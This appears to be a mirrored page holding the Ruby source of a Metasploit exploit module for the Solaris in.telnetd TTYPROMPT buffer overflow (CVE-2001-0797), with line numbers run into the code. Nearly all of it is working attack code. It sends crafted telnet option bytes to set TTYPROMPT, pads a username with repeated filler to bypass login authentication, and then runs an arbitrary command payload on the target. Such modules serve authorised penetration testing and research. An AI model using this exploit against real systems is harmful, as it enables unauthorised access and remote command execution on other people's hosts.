Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/telnet/ttyprompt.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',13'Description' => %q{14This module uses a buffer overflow in the Solaris 'login'15application to bypass authentication in the telnet daemon.16},17'Author' => [ 'MC', 'cazz' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2001-0797'],22[ 'OSVDB', '690'],23[ 'BID', '5531'],2425],26'Privileged' => false,27'Platform' => %w{ solaris unix },28'Arch' => ARCH_CMD,29'Payload' =>30{31'Space' => 2000,32'BadChars' => '',33'DisableNops' => true,34'Compat' =>35{36'PayloadType' => 'cmd',37'RequiredCmd' => 'generic perl telnet',38}39},40'Targets' =>41[42['Automatic', { }],43],44'DisclosureDate' => '2002-01-18',45'DefaultTarget' => 0))4647register_options(48[49Opt::RPORT(23),50OptString.new('USER', [ true, "The username to use", "bin" ]),51])52end5354def exploit55connect5657banner = sock.get_once5859print_status('Setting TTYPROMPT...')6061req =62"\xff\xfc\x18" +63"\xff\xfc\x1f" +64"\xff\xfc\x21" +65"\xff\xfc\x23" +66"\xff\xfb\x22" +67"\xff\xfc\x24" +68"\xff\xfb\x27" +69"\xff\xfb\x00" +70"\xff\xfa\x27\x00" +71"\x00TTYPROMPT" +72"\x01" +73rand_text_alphanumeric(6) +74"\xff\xf0"7576sock.put(req)77select(nil,nil,nil,0.25)7879print_status('Sending username...')8081filler = rand_text_alpha(rand(10) + 1)8283req << datastore['USER'] + (" #{filler}" * 65)8485sock.put(req + "\n\n\n")8687select(nil,nil,nil,0.25)88sock.get_once8990sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")9192select(nil,nil,nil,0.25)9394handler95end96end979899